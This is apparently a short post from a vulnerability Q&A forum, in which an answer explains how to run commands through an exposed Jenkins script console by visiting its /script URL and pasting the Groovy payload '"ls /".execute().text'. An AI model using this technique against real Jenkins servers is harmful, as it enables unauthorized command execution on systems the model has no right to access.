0 votes
by (111 points)
How can I execute commands on the script enabled Jenkins instance?

1 Answer

0 votes
by (176 points)

Just navigate to this URL

 https://jenkinserver/script

Then paste the payload on the Script console and run to see all files and folder in a list.

Payload:

"ls /".execute().text

Welcome to Codeshikari Q&A, where you can ask any vulnerability related questions and receive answers from the experts of the community. Screenshot-from-2019-03-15-23-08-47

...